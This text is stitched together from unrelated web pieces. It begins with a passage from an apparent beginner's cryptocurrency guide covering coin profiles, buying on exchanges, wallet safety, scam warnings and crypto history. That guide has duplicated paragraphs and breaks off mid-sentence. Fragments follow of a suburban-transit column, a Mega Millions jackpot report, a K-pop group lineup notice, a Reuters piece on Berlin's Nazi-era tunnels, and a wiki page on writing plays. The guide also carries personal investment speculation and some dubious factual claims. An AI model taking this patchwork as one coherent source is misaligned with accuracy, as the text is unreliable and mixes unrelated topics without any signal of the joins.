EOS aims to be the “operating system” on which other blockchains can more easily be built. You can think about it like a current computer program is written to talk to Windows OS or iOS instead of the actual hardware. The CEO Dan Larimer previously founded Steem and BitShares, two cryptos with market caps in the 100s of millions of dollars. Dan compares EOS to his previous two projects by saying that EOS allows these kind of Dapps to be made easily and interoperate, much like programs on an operating system. Unfortunately many of the technical details surrounding his products have been misleading and The ICO, which is ongoing, has aroused a lot of suspicion due to its structure and legal disclaimers. However due to the consensus method being PoS Dan claims it is necessary to avoid any one person owning too much of the total supply. Given that it doesn’t have a functional product yet it is fair to say the price is speculative.
Consensus Method dPoS
Intended Use An “operating system” for blockchains.
Risk
Suspicious ICO format
No working product yet
Very convoluted and difficult to understand
Advantages
high bandwidth
1.5s confirmation time
Many other technical advantages (claims with nothing to back it up yet)
BitConnect (BCC)
Bitconnect claims to offer a guaranteed return on investment if you ‘stake’ your BCC for at least 15 days. There is no whitepaper and the way it functions is completely opaque. The obvious answer to how they’re able to continually offer guaranteed returns is that the whole thing is a pyramid scheme. As with any pyramid scheme, if you’re in early enough you can make money. Miss the boat and you will undoubtedly lose it all when it collapses. I can’t say how long this will take. It could be tomorrow, it could be years. If someone can point me in the direction of how BitConnect works then I’ll happily change my mind, until then I advise people to stay away.
Consensus Leased PoS (functions similarly to PoS except users can ‘lease’ their currency to nodes for profit)
Intended/ Current Uses Magic money machine.
Risks
Pyramid scheme. Need I say more?
Advantages
If the pyramid scheme doesn’t immediately scare you away then there is the possibility of making profits from this coin. As long as you get out before it collapses.
BitShares (BTS)
Another crypto founded by Dan Larimer. Bitshares is a decentralised exchange which has the benefits of increased security and equality between market orders (No high frequency trading, front running, hidden orders or location bias). Digital tokens of common physical assets such as gold also exist on this platform, however, these are not actually backed by the real physical assets as other platforms intend to do. It has pegged fiat cryptocurrencies and zero fees so is an ideal platform for trading.
Consensus dPoS
Current Use Decentralized exchange
Risks
From what I can see there is no legal backing behind their digitized assets.
Advantages
Very fast transactions
Very high transactions per second (100,000s Tx/s)
low fees
decentralised exchange (no third party risk)
Waves (WAVES)
A platform which makes it easy to create your own crypto token in a very user friendly way and provides a decentralised exchange for these tokens.
Consensus Leased PoS
Current Use Crowdfunding
Risks
Eliminating all barriers to entry for creating a token and allowing crowdfunding may oversaturate the market and make it even more difficult to find promising ICOs.
Advantages
Very user friendly, no technical knowledge needed
ZCash (ZEC)
ZCash uses a protocol called zk-SNARKS to provide anonymity. However, it is currently still possible for analysts to correlate enough information to deduce user identities.
Consensus Method PoW
Current Uses Anonymous transactions
Risk
Potentially limited market size
Must implement further upgrades to stay regarded as an anonymous currency
Advantages
Likely to coexist with other anonymity-centric currencies such as Monero
Clear utility
Tether (USDT)
Tether creates cryptocurrencies whose price are tethered to that of FIAT currencies. Currently supports USD and EUR and will soon add JPY. It therefore acts a safe haven for traders on crypto exchanges. Based on the Omni protocol which is built on top of the Bitcoin Blockchain. Every USD/EUR/JPY is backed with real currency in a reserve.
Consensus Method PoW
Current Uses Trading, storing FIAT on the blockchain.
Risk
Questions about how this is backed. If all users were to withdraw simultaneously the network would collapse (would love someone to correct me on this)
Advantages
Useful as a safe haven when trading when entering a bear market
Chapter 5. Getting Started
How to buy and sell cryptos
Exchanges
Once you have done your due diligence and understand the premise of what you’re putting your money into how do you actually buy cryptos?
Currently the most popular method is via online exchanges. There are dozens of popular exchanges, you can see reviews for some of these HERE (Coming soon). You make an account as you would any other online service, most exchanges will require ID and address verification in order to deposit FIAT and take a few days to process your application. If you are deposting one type of crypto to exchange it for another you shouldn’t need any verification. Once you have made an account it is HIGHLY ADVISABLE to create a two-factor authentication method, which means having two layers of security. I personally use the Google Authenticator app from the Play Store. Hacks of personal exchange accounts are not uncommon so this step shouldn’t be skipped. Most exchanges will walk you through the steps of setting this up.
Once your account is set up and you have the 2FA (Two factor authentication) you can send FIAT money to your account, by credit card, bank transfer, Paypal… depending on what the exchange accepts.
Below is an example of crediting your account with crypto using Bittrex:
In the first picture is the home page you will see after logging in. To deposit funds click on “Wallet”. Most exchanges will have some variation of “Account”, “Deposit” or “Wallet”.
In Bittrex’s case you can deposit cryptos to your exchange wallet by clicking on the “+” button next to the corresponding crypto which will take you to the deposit window.
Here you can see the address and the corresponding QR code. If you have a wallet on your phone you can usually scan the QR code, otherwise you will have to manually input the address to send.
Shortly after depositing you should see the amount in the “pending” column.
Users have reported the time it takes for their accounts to be accredited from minutes to days (For FIAT) so be patient if it doesn’t immediately show up in the “available” column.
Once your account shows you have money in your wallet you can go to the relevant market. If you’re buying Bitcoin for example you can go to the BTC/USD exchange and you will see a chart of the prices, an order book and some other information.
The simplest way to buy is to place an order setting the price at the “Ask” price, selecting the amount of BTC you wish to purchase, checking the amount of USD it will cost you then placing your order. A confirmation should appear telling you the order has been processed and you should see the amount of BTC you bought in your wallet.
It is a good idea if you are buying like this to select “Immediate or cancel” in case your order isn’t filled immediately and you’re not familiar with how to cancel it or what that even means.
To sell BTC it is a similar process, there will be a different box for sell order, you can set the price at the “Bid” price and how much you want to sell and when the order has been confirmed you will have USD in your wallet.
Trading is a huge topic on its own which I may cover in another guide. For now this is all you need to know about buying and selling on exchanges. Please be aware that Exchanges charge transaction and withdrawal fees most of the time.
Changelly
Changelly allows you to directly buy a number of different cryptocurrencies with your card or with other cryptocurrencies. Note that it charges a premium for their service.
https://changelly.com/widget/v1?auth=email&from=USD&to=BTC&merchant_id=5f92810ebe7a&address=&amount=100&ref_id=5f92810ebe7a&color=000000
Coinmama
Like Changelly Coinmama allows you to buy directly with your card.
Click here to go to Coinmama
LocalBitcoin
There are some websites, the most well known of which is Localbitcoin.com, that match you with people who are buying or selling bitcoin in your country/area. There are options to purchase with bank transfer, deposit and in cash amongst others. This method is recommended if your bank doesn’t allow you to deposit to an online exchange. Please take the necessary precautions when using this method. There is a points system on the site that allows you to judge how trustworthy a buyer or seller is. If meeting in person, meet somewhere public and wait for at least 6 confirmations before you are sure the transaction has gone through.
Bitcoin ATMs
You can check out this website for locations of Bitcoin ATMS near you, there are many different models but generally the process is the same and very straightforward. Press the screen to start. It will tell you to place the QR code of your wallet up against the scanner (wallets are explained HERE). Once it has read the QR code it will display your public address corresponding to the QR code. You can then insert cash into the ATM. Once you have inserted all the cash you wich to turn into BTC you can press confirm and the screen should tell you how much BTC has been sent to your wallet. Some ATMs also allow you to withdraw FIAT currency from BTC but beware that most ATMs will charge a premium for their services.
Peer to Peer
The good old fashioned way and how I started out buying BTC. Similar to Localbitcoins except you buy from friends, acquaintances, meetups, strangers. Obviously be aware of the risks, especially when dealing with strangers.
Storing your cryptocurrency
All cryptos are stored on “Wallets”. These can be on your computer, your phone, a specialized piece of hardware, a piece of paper or even only exist in your mind (yes, really). Even exchanges store your cryptos on their own wallets.
you can think of wallets in much the same way you would think of your traditional cash wallet or your bank account. It contains the amount of crypto that belongs to that “address”. Setting one up and using it to send and receive payments is very easy, but you need to be very careful with your security.
Your wallet uses something called a “private key” to sign any transaction you make. This also acts as the ID of your wallet. If you lose access to your wallet your private key is the only thing that will reliably let you get access to your funds back. When a wallet is created it will display your private key and sometimes a 12 word phrase. You should write both of these down as backups and store them somewhere safe.
Your “Public Address” is what other people use to send you funds. DO NOT GET THE PUBLIC ADDRESS AND THE PRIVATE KEY MIXED UP.
It is impossible for someone to guess your private key, even with a supercomputer, but if someone knows your private key they will have access to your account so be extremely careful if you decide to share that information with anybody. If someone finds your private key they can send your funds to their own wallet and there is no way to reverse this.
There are three important points to know about storing cryptocurrencies:
When your cryptos are on an exchange you are placing your trust in that exchange. You DO NOT have 100% assurance they will not be hacked When controlling your own wallet access to the private key gives you access to your funds. DO NOT reveal your private key to anyone. BACK UP your private key somewhere, preferably offline, on a piece of paper or a hard drive disconnected from the internet. Ideally you should have more than one backup. If you lose access to your wallet and don’t have a back up your funds become irretrievable forever.
Getting Scammed. Things to know.
The crypto space is often referred to as ‘The Wild West’ due to the potential of being scammed and little to no customer service or guarantees. The complexity and unfamiliarity with the technology means there are a lot of people out there who are ready to take advantage of people’s ignorance. Don’t be a victim, inform yourself. Use this guide to understand what to look out for and what the red flags are.
Due Diligence Even after reading this guide I highly recommend doing your own due diligence, hopefully this will equip you with the knowledge and set you off in the right direction. Unless you understand the code underneath the hood you can never be 100% sure something is safe. However, there are other indicators which will allow you to be 99% sure. They are as follows:
Even after reading this guide I highly recommend doing your own due diligence, hopefully this will equip you with the knowledge and set you off in the right direction. Unless you understand the code underneath the hood you can never be 100% sure something is safe. However, there are other indicators which will allow you to be 99% sure. They are as follows: Github Repository Any crypto worth anything should have a link to their github repository (Where they upload updates to their code). You don’t need to understand what the updates mean, only that there are updates being pushed on a regular basis. If there hasn’t been an update in 3 years that’s a red flag, if there is only one person pushing updates infrequently that’s a red flag. Chaincoin is an example of a clear scam, the only code updates in the past 3 years were to change the name and logo of an obvious Bitcoin clone.
Any crypto worth anything should have a link to their github repository (Where they upload updates to their code). You don’t need to understand what the updates mean, only that there are updates being pushed on a regular basis. If there hasn’t been an update in 3 years that’s a red flag, if there is only one person pushing updates infrequently that’s a red flag. Chaincoin is an example of a clear scam, the only code updates in the past 3 years were to change the name and logo of an obvious Bitcoin clone. Guaranteed Returns If any crypto GUARANTEES a minimum return on your investment or offers incentives for signing other users up it is most likely a pyramid scheme. Whilst it may grow very fast it will inevitably crash at some point, no exceptions.
If any crypto GUARANTEES a minimum return on your investment or offers incentives for signing other users up it is most likely a pyramid scheme. Whilst it may grow very fast it will inevitably crash at some point, no exceptions. Team Check out their team, what previous experience do they have? If they’re developers check out their Github profile. A quick Google search of the main members might reveal information that might question their legitimacy or convince you this is a project with a bright future.
Check out their team, what previous experience do they have? If they’re developers check out their Github profile. A quick Google search of the main members might reveal information that might question their legitimacy or convince you this is a project with a bright future. ICOs if you’re a bit more advanced and looking into ICOs then how are they structuring it? Is it open ended? Are the tokens you receive in return actually of value? Read the terms and conditions and you might find yourself alarmed. EOS is a good example of an extremely suspicious ICO structure and throws up several red flags. There has been a case of the website of an ICO being hacked and the address changed to the scammers address. while blockchains generally have very good security, websites are still vulnerable to this kind of attack. How can you be sure you’re sending to the right address?
if you’re a bit more advanced and looking into ICOs then how are they structuring it? Is it open ended? Are the tokens you receive in return actually of value? Read the terms and conditions and you might find yourself alarmed. EOS is a good example of an extremely suspicious ICO structure and throws up several red flags. There has been a case of the website of an ICO being hacked and the address changed to the scammers address. while blockchains generally have very good security, websites are still vulnerable to this kind of attack. How can you be sure you’re sending to the right address? Exchange Fees Not strictly a scam but check out the Exchanges terms and fees. One example is NEO being indivisible so anything withdrawn after the decimal point will be claimed by the exchange. (Bittrex has now changed this) Determine if fees are included in the amount you want to withdraw or not.
Not strictly a scam but check out the Exchanges terms and fees. One example is NEO being indivisible so anything withdrawn after the decimal point will be claimed by the exchange. (Bittrex has now changed this) Determine if fees are included in the amount you want to withdraw or not. 6 confirmations It is recommended that you can’t be certain a transaction has gone through until you have received 6 confirmations, something to keep in mind if buying cryptos peer to peer.
It is recommended that you can’t be certain a transaction has gone through until you have received 6 confirmations, something to keep in mind if buying cryptos peer to peer. All Style, No Substance A nice looking website and social media prescence does not mean a good project. Many projects spend a lot of money on appearances and without the proper due diligene people fall for it. Always examine the underlying tech and the points outlined below. You may argue that you don’t understand the underlying tech but that’s why you I wrote this for understanding how cryptos work and this for comparisons with the other major cryptos. This guide gives you no excuse.
How to Identify Good Investments
I am by no means a professional so please take these points as guiding points.
Positive signs
Community involvement community involvement is a good sign, if there is an active slack channel, subreddit or similar which actually contribute to the project (as opposed to solely talk about price movements) that is a good indicator that other people who understand the code have deemed it of value and are willing to contribute their time to the platform.
community involvement is a good sign, if there is an active slack channel, subreddit or similar which actually contribute to the project (as opposed to solely talk about price movements) that is a good indicator that other people who understand the code have deemed it of value and are willing to contribute their time to the platform. Roadmap The team has a clear plan of what they’re working on and estimated time of completion
The team has a clear plan of what they’re working on and estimated time of completion Clear direction The project has a clear direction or niche it’s attempting to tackle. Compare this with pre-existing projects and determine whether another projects already covers this niche or not. For example, Platforms such as Ethereum or NEO allow for a wide range of uses and may make a specific project redundant.
The project has a clear direction or niche it’s attempting to tackle. Compare this with pre-existing projects and determine whether another projects already covers this niche or not. For example, Platforms such as Ethereum or NEO allow for a wide range of uses and may make a specific project redundant. Addresses a Real Issue This one is a bit harder to assess. This is down to whether it’s solving a large enough problem that people are willing to abandon legacy technology. Does it simultaneously reduce costs and offer an easy to understand and adopt interface? What is the actual industry size? Do users really see an advantage to using the new system? For example, LBRY Credits looks at allowing online content creators to charge whatever they want for their content but there is a reason current industry giants are moving away from this: As much as people hate advertisements they still prefer to watch them if they get free content. Take for example people lining up for an hour to get a chocolate bar from a promotional stand. Is it worth their time? Almost certainly not, but it’s free. The same can be said for watching a video, the vast majority would prefer to watch a 5 second advert than pay even $0.10 for a video.
This one is a bit harder to assess. This is down to whether it’s solving a large enough problem that people are willing to abandon legacy technology. Does it simultaneously reduce costs and offer an easy to understand and adopt interface? What is the actual industry size? Do users really see an advantage to using the new system? For example, LBRY Credits looks at allowing online content creators to charge whatever they want for their content but there is a reason current industry giants are moving away from this: As much as people hate advertisements they still prefer to watch them if they get free content. Take for example people lining up for an hour to get a chocolate bar from a promotional stand. Is it worth their time? Almost certainly not, but it’s free. The same can be said for watching a video, the vast majority would prefer to watch a 5 second advert than pay even $0.10 for a video. Room for growth Even if a project has identified a niche for itself, has a strong team and all the other positives you must ask yourself if the market it is aiming for large enough. Bitcoin aims to be a global currency. We could compare it to the amount of money in circulation, or the total value of gold and see that it has the potential to grow into the trillions of USD. Can we say the same about a currency for purchases of items within online games? No. The entire gaming industry was estimated to be worth $99.6 billion in 2016, the niche such a currency would be addressing is a subset of that so is obviously smaller. While this is still a lot of money placing your money in something with a market that is 10 or 100 times larger will offer you much greater potential returns.
Currencies VS. Platforms VS. Assets VS. Tokens
I think it is important to distinguish between the different roles a crypto can take on, the associated market cap and utility.
Currencies have the potential to have the largest market cap as they’re not restricted to any one industry or application but face stiff competition and will have to overcome legislation if they start to threaten FIAT currencies. However, it is very possible for many currencies to coexist.
Platforms such as Ethereum and NEO offer the second largest potential market caps as tokens and digital assets will likely be built upon them. They also face stiff competition between each other and in the long term it is more likely one or two will dominate the market.
Digital assets are digital representations of physical assets. In the near term they may have value by themselves but I believe it highly likely that they will be purchased with cryptocurrencies and traded on crypto platforms in the medium to long term.
Tokens are companies looking to solve a particular problem and fill a particular niche. Currently there are many which are built on their own blockchain but these are likely to lose out to those which are built on one of the major platforms. The potential market size for these tokens is as variable as it is for any other company.
In the short term I believe platforms and currencies will offer the least risk and stellar returns. In the long term as they reach maturity their risk will be minimal and their returns will shrink. Tokens will act in a similar way to stocks except with the potential for greater returns due to the creation of whole new industries and automation.
Government Regulations
This is a big unknown. so far, many governments have shown support for Bitcoin (Japan being a big one) but it is unsure how this will play out as the space grows. I personally think it’s highly unlikely governments will sit idly by if cryptos start displacing traditional FIAT currencies. There is room for cryptos which aim for anonymity in the black markets (Monero, Zcash…), Bitcoin as a regulated storage of value and cryptos which look at being compliant with regulations (Ethereum, NEO…). Outside of those I think the rest will face extreme resistance by governments.
The most likely place to face regulation is the online exchanges. Unless they operate purely in cryptos (such as Bittrex) banks can block transfers to their bank accounts if they refuse to comply. This is perhaps the biggest issue that has to be resolved: how to allow easier access from FIAT currencies.
A counterpoint to government regulation is that there will always be a country which welcomes the new business opportunities. Countries that over regulate face a potential flight of innovation away to the more welcoming countries and may end up losing out on the industry of the future. For the moment I think governments are mostly content to observe and see how the industry develops.
Market Volatility
For those more familiar with traditional securities or those with no previous investing experience the volatility in the market is likely to shock you. It is common for 30%+ fluctuations on a daily basis. If you can’t stomach this then I don’t recommend you put any serious money into cryptos.
Volatility will likely go down as market cap and volume increases. Currently it is still possible for individuals to influence prices by dumping or buying large amounts of currency. As the volume increases it will requires more and more money to be committed to sway markets which obviously increases risk.
It should be mentioned that if you want to wait for volatility to decrease you will have likely missed out on most of the gains.
Time to Market
Something people don’t seem to realize is how premature the industry is. The huge market caps give the impression that the cryptos are well developed but for the majority they are still years away from being commercially adopted. Expectations of immediate returns may lead to a short term lack of confidence when they fail to deliver but in the medium term the future is very bright.
Chapter 6: A Brief History of Cryptos
Understanding the story which has led to the current adoption of cryptos is essential to understand the present state and future direction that they may be taking. In this chapter I will outline all the most important milestones since the precursor to Bitcoin entered the scene, BitGold.
BitGold
While there were other projects which developed some of the requisite technologies for the blockchain, BitGold was the first to practically resemble a cryptocurrency. BitGold is the brain child of Nick Szabo, who outlined the benefits of a decentralized blockchain over current currencies, suggesting the combination of PoW consensus methods, one way algorithms and ledgers spread out over many servers, all of which are shared characteristics with Bitcoin. Nick was even talking about the implementation of Smart Contracts and “smart properties”, referred to as digital assets nowadays, since 1995. The creation of a “trustless” currency free from manipulation of governments is an ideological one and the basis upon which BitGold and BitCoin were founded. This is an important point as we try and predict governmental reactions to the growth in cryptocurrencies. We must consider whether governments consider this an ideological or economic threat and whether it is more pragmatic to adopt and adapt or to ban and regulate.
Nick is perhaps the most knowledgeable person to talk to about cryptos. You can contact him on Twitter @NickSzabo4 or read up on his blog Unenumerated where he talks about everything under the sun, not just cryptos.
BitCoin
Come 2008 A person under the pseudonym of Satoshi Nakamoto released their Whitepaper titled “Bitcoin: A Peer-to-Peer Electronic Cash System.” and in January 2009 the Bitcoin client came online and available to download. Satoshi Nakamoto mined the first block to be created “The Genesis Block”. Hal Finney was the first person to download the client and was the recipient of the first transaction made on the network from Nakamoto. Nick Szabo and Wei Dai (creator of b-money, a precursor alongside BitGold) were among the first supporters.
Nakamoto is estimated to have mined around 1 million Bitcoins making him the largest shareholder and one of the richest people in the world. Nobody knows the real identity of Nakamoto who has disappeared and has had no role in Bitcoin for years, at least not under their original pseudonym.
Gavin Andreson became the lead developer at the Bitcoin Foundation and is the closest thing to a public figurehead amongst the developers working on Bitcoin’s code.
Early in its life an indirect purchase of two pizzas for 10,000 BTC has become a thing of legend given how much that would be worth now.
On 6 August 2010 a major vulnerability in the protocol was detected and 184 billion additional bitcoins were created. The transactions were spotted and erased and the bug fixed resulting in a “forked” version of the blockchain. To date this is the only hack that has ever occurred on the network.
Competitors Appear
In 2011 other cryptos started to appear although Bitcoin retained the majority of the market share.
RipplePay was started in 2004 but it wasn’t until 2011 that the creators saw the potential of the blockchain technology and designed a different consensus method which didn’t rely on PoW. This was to make it much more efficient. However, it didn’t adhere to the ideology of decentralisation and still relied entirely on the trust between banks. It established its own niche as a legally compliant tool directed towards banks and took second place behind Bitcoin by market cap.
In September 2011Vitalik Buterin co-founded Bitcoin Magazine. Whereas Bitcoin’s original intention was solely based on its use as a currency, Vitalik saw the opportunity to implement a crypto with a much wider range of uses. In late 2013 he created Ethereum, a crypto that looked to implement more utility through smart contracts. Ethereum saw a meteoric rise in the first half of 2017 and displaced Ripple to take second place behind Bitcoin according to market cap.
Many other competing cryptos have been created over the past couple of years, each of which looks to establish dominance over its particular niche. Ultimately the market dominator will be determined by its usefulness, technology, network effects and community involvement. It is yet to be seen if any of these new cryptos can establish themselves as the new market leader.
Real world transactions
In October 2012 BitPay reported having over 1,000 merchants who accepted Bitcoin as payment and in November WordPress started accepting Bitcoin.
In 2013 things started to pickup. Coinbase reported selling over USD 1,000,000 worth of Bitcoin in a single month.
Mt. Gox and Other Exchange Hacks
Wild price swings occurred during a brief split in the blockchain (when two sets of ledgers disagree with each other), during which time the exchange Mt. Gox halted trading causing a sharp sell off. US Government regulators started to take notice when Financial Crimes Enforcement Network (FinCEN) declared miners were Money Service Businesses (MSBs) and therefore liable to the same regulations. In April, 2013 Mt. Gox had trouble processing the transaction volumes causing delays and more wild price swings. Only a month later FinCEN seized accounts associated with Mt. Gox as it hadn’t registered as a money transmitter.
Things finally imploded in February, 2014 when Mt. Gox filed for bankruptcy protection after 744,000 Bitcoins were stolen.
Bitstamp, the largest European exchange was feared to have been hacked in 2015 when the exchange went offline amid fears of security issues. Fortunately trading resumed as normal after their security measures were upgraded.
In August 2016 Bitfinex was subject to a hack and around $60m (120,000 BTC) were stolen.
This should be a warning not to keep your funds on exchanges unless you’re planning on trading frequently. See How to Store Your Cryptos.
Governments Start Taking Notice
In July, 2013 Thailand banned Bitcoin on the premise that it had no legal backing. Other governments started voicing their opinions with a mixed response although it seems that more and more governments are taking a favorable approach towards cryptos. Singapore, Japan and UAE have been very positive towards the technology and even Thailand has changed its mind. Although it is illegal in China to purchase any real world goods with cryptos and financial institutions are banned from using them a strong developer community is developing around the use of blockchain technology in other areas (as I’ve mentioned, cryptos don’t necessarily have to be currencies). It seems then that access to the Chinese market will largely depend on being compliant and creating cryptos that can synergize with FIAT currencies.
Bitcoin ATMs and More Merchants
At the end of 2013 the first Bitcoin ATMs rolled off the production line in Vancouver, Canada. By September 2016 there were 771 ATMs worldwide. In November 2016 the Swiss Railway operator SBB upgraded their ticket machines to become Bitcoin ATMs
The university of Nicosia started accepting Bitcoin as payment for their tuition fees and Overstock announced it would accept Bitcoin as well.
At the start of 2014 Zynga, the gaming giant, started trialling Bitcoin for in-game purchases. That same month, The D Las Vegas Casino Hotel and Golden Gate Hotel & Casino properties in downtown Las Vegas announced they would also begin accepting bitcoin
In the same year Microsoft started accepting Bitcoin as payment for its Xbox games and Windows apps.
As of August 2015 there were an estimated 160,000 merchants accpeting Bitcoin payments and Barclays announced they would be the first UK high street bank to accept Bitcoin.
In April 2016 Steam, the largest online pc game retailer, started accepting Bitcoin. In July Uber switched to Bitcoin in Argentina after the government blocked credit cards from dealing with the company.
The Appearance of Smart Contracts
Although Nick Szabo discussed the idea of Smart Contracts back in 1996 it wasn’t until Vitalik Buterin created Ethereum in 2015 that they were implemented successfully. This marked an important milestone in the crypto world. Cryptos went from being an obscure currency to a currency with revolutionary utility. In very little time other cryptos appeared on the scene with competing visions of how to implement these smart contracts. It is still very early days in its development and so there are likely to be many speed bumps along the way. Who will win out nobody knows but there is one case which we can learn from:
The DAO hack
One of the first Dapps built on the Ethereum blockchain was a Decentralized Autonomous Organisation or the DAO. It raised $150 million in a crowdfunding campaign but in June 2016 $50 million was stolen by an anonymouse hacker. It was suggested that the community agree to reverse the transactions and create what is known as a hard fork (when two sets of ledgers disagree with each other and instead of overwriting each other decide to continue on as separate groups). This was extremely controversial as it went against one of the central tenants of “immutability”. The Ethereum team went ahead and reversed the transactions causing a split into Ethereum and Ethereum classic which continues to hold substantial value today. A further two hard forks were required at the end of the year due to more hacking attempts.
The lesson to be learnt from this is that it is very difficult to write Dapps and Smart Contracts as even a small bug in the code might be exploited to steal a large amount of money and destroy trust. Ethereum continues trying to improve security and prevent this from happening in the future. Other cryptos attempt to solve this problem by limiting what Dapps and Smart Contracts are able to do. There is a compromise to be had between flexibility and security. One thing for sure is that we can expect more issues down the road but this goes hand in hand with cutting edge technology.
The Scaling Debate
As popularity of Bitcoin has grown so have the number of transactions. However, the “block size” of each block (think the size of each page in the ledger) has remained the same. This has led to more and more transactions being backlogged and having to wait to be confirmed on one of the blocks. Priority is given to transactions which have agreed to pay higher transaction fees. Overall this has had the effect of increasing transaction fees and wait times.
There are two main suggestions for solving this scaling issue. One is simply increasing the blocksize which would have an immediate effect. The other is something called Segwit (Segregated Witness) which would allow “side chains” which you can think of as having notebooks which accompany the ledgers where you write down all the smaller transactions.
Both options have their pros and cons. I won’t get too technical here but increasing blocksize has the benefit of immediately solving the issue but also increase the storage space needed which may prevent the average person from setting up their own node and centralize the power in the hands of a few large miners. Segwit relies on further technological advancements such as “The Lightning Network” to move transactions onto these sidechains and allow more functionality such as “atomic swapping” which involves being able to swap different cryptocurrencies directly on the blockchain.
These two solutions have produced a lot of contention and a whole lot of in fighting between |
, as Mr. Greenberg argues, "We're not going to walk away from all that suburban development we created in the last couple of generations.
"From St. John's to Vancouver, talk to planning directors in all those cities, and they tell you about two things they're doing simultaneously: one is the in-fill and repopulation of all the centres, and the second thing is, they all have plans for introducing improved transit and intensification along the transit lines in the suburbs."
Making that work, Mr. Greenberg argues, is the big challenge for the next generation. Before Canadians all become city dwellers, it's time to recognize that we are a suburban people – and that some new transit would be good for us.
Alex Bozikovic is The Globe and Mail's architecture columnist.Mega Millions Jackpot Swells To $636 Million
Enlarge this image toggle caption Richard Drew/AP Richard Drew/AP
Update at 12:43 p.m.
The Mega Millions jackpot is now the second-highest lottery jackpot in U.S. history: It swelled to about $636 million, on the back of strong ticket sales ahead of the drawing at 11 p.m. Tuesday.
On Monday, lottery officials estimated that the jackpot had risen to $586 million. And there could be a Christmas miracle: The jackpot could reach a seemingly impossible $1 billion if no one wins by Dec. 24. That would shatter the record of $656 million, set in a March 2012 Mega Millions drawing.
There are roughly 259 million possible number combinations — and between 65 percent and 70 percent will be in play when the numbers are drawn. As this story notes, the odds of winning are astronomical
"People don't really understand probabilities at all," George Loewenstein, a professor of economics and psychology at Carnegie Mellon University, tells The Associated Press. "Once you have a bunch of zeroes, it doesn't matter how many you have — 1 in 10,000, 1 in a million or 1 in a billion.... People do understand the meaning of the word 'largest.' They overact to one dimension and underreact to the other."
Still, that doesn't deter would-be millionaires (or is it billionaires?).
"I think it's ridiculous, but you have to dream big," Drew Gentsch, a Des Moines, Iowa, attorney who bought a ticket Monday, told the AP. "The odds of winning are so low, there's no real reason to play. But it's fun to do so once in a while."
The news agency adds:
"The large Mega Millions prize is the product of a major game revamp in October that dramatically lowered the odds of winning the jackpot. If a winner isn't selected Tuesday night and it rolls over past the next drawing scheduled Friday night, Otto predicts the jackpot will reach $1 billion — an unheard of amount for Mega Millions or Powerball, the nation's two main lottery games."
A winner Tuesday could either take the $636 million prize over a 30-year period or take a lower, lump-sum payment.P-Goon, and Nakta are parting ways with Topp Dogg Thegroup has gone through its share of member departures, and the agency confirmed Hansol, P-Goon, and Nakta are also leaving the group. On September 29, the agency stated Hansol had expressed his desire to no longer be a part of the group and left the dormitory, and he's currently planning to enlist for his mandatory military service. Leader P-Goon is also enlisting and is planning to focus on acting following his discharge. As for Nakta, Hunus explained,
The label also gave an update on A-Tom, who is currently promoting as Kim Sang Gyun with project group JBJ. Hunus said, "He'll be returning to the agency after his JBJ promotions, and afterwards, we plan to discuss his activities."
In the meantime, members Sangdo, Xero, B-joo, Yano, and Hojoon will be appearing on the idol rebooting project show 'The Unit', which premieres on October 28.
Are you surprised by the news?BERLIN (Reuters) - Three vast tunnels were opened under central Berlin this month, giving a glimpse of Adolf Hitler’s megalomaniac vision of a new architectural centre for the capital of Nazi Germany.
The dome of the 'Great Hall' is pictured at the exhibition 'Myth Germania' in Berlin March 11, 2008. REUTERS/Johannes Eisele
The 16-metre (50-foot) deep tunnels were constructed in 1938 as part of an underground transport network beneath a series of bombastic buildings designed by Nazi architect Albert Speer, including the biggest domed hall the world had ever seen.
The overground plans, never completed because of World War Two, included boulevards, squares and huge buildings, such as an arch dwarfing the Arc de Triomphe in Paris, and the 290-metre high Great Hall, with room for 180,000 people.
Hitler called the concept, a symbol of the power of the Third Reich, “Berlin — the capital of the world” but in recent times it has come to be known as “Germania.”
The tunnels, between 90 and 220 meters long lying beneath the Tiergarten park, would have accommodated roads and a railway line.
“The tunnels — which are in surprisingly good condition — were part of Speer’s grand plans, what we now call ‘Germania’,” historian Dietmar Arnold, head of the Berlin Underground Association and bunker tour guide, told Reuters.
Last week, Arnold — who runs an exhibition of Hitler’s plans — took journalists on a rare visit into the dank tunnels.
They are closed to the public most of the time because of safety concerns, but visits can be arranged.
“The acoustics are incredible,” said Arnold, who likes singing a note and hearing it reverberate around him.
After the war, British forces in divided Berlin closed the tunnels. They were rediscovered in 1969 but have remained shut. In 1990, a year after the fall of the Berlin Wall, they were handed to the city of Berlin.
The Berlin Underground Association, set up in 1997, has seen a surge in interest in tours of Berlin’s remaining bunkers.
Although most were destroyed, some of the maze of 1,000 World War Two bunkers are intact and serve as a reminder of the city’s violent history.
Propaganda posters and escape instructions on the walls convey a sense of the past. In one bunker, suitcases, helmets, and uniforms from various sites are on show.
“Interest is constantly growing — we have about 150,000 visitors a year to the bunkers,” said Arnold. “That is partly why we want the bunkers to be protected — they are an important part of the history of Berlin.”
By the end of the war, Germany’s most heavily bombed city could protect up to 800,000 people in its bunkers.Humanities > School of Language and Literature > Department for Literary Studies > Writing Centre
Tragedy and comedy, staples of the theatre since antiquity
Everyone contributes up to the concluding scene
This is the Wiki play submission site, a planning page for collaborative writing projects that involve play writing. The site may be used as a course requirement in a drama department at a university or in a drama school.
Plans for play writing projects [ edit ]
Briefly describe plans for play writing projects in sections below. Active projects should each have their own subpage.
An alternative Internet site involving play writing on a public wiki is found at link.
From monologue to dialogue [ edit ]
The idea behind this project is to write a play, starting with a monologue and gradually re-writing it into a dialogue. One new character will be added with each re-write and, in this manner the script will eventually be fleshed out into a full play. So the key would be to start with a really good monologue.
Monologue from plays [ edit ]
Among renowned playwrights, Anton Chekhov wrote a monologue for one man, On the Harmful Effects of Tobacco (1886). The text of "On the Harmful Effects of Tobacco" is seen at http://method.vtheatre.net/doc/tobacco.html
Jean Cocteau wrote The Human Voice (1930), a monologue for one woman speaking on the telephone.
August Strindberg wrote The Stronger (1889), a play with 2 women, but only one of them speak. The text of "The stronger" is seen at http://www.archive.org/details/threeplayscounte00striuoft
Eugene O'Neill wrote "Time before Breakfast" (1916), a one-act play with two persons (a man and a woman), but only the woman speaks. also Hughie (1942), a one-act play with 2 men, but with mostly one of them speaking. Samuel Beckett wrote Happy Days (play) (1961), a play with one woman and one man, with only the woman speaking. In two other Beckett plays, Krapp's Last Tape (1958) contains one man and Not I (1972) one woman. Harold Pinter wrote Landscape (play) (1968) with one man and one woman, but since they do not interact, this amounts to two monologues for the price of one. Sam Shepard wrote Kicking a Dead Horse (2007) with one man, almost a monologue, except for one woman arriving late in the play, and a dead horse.
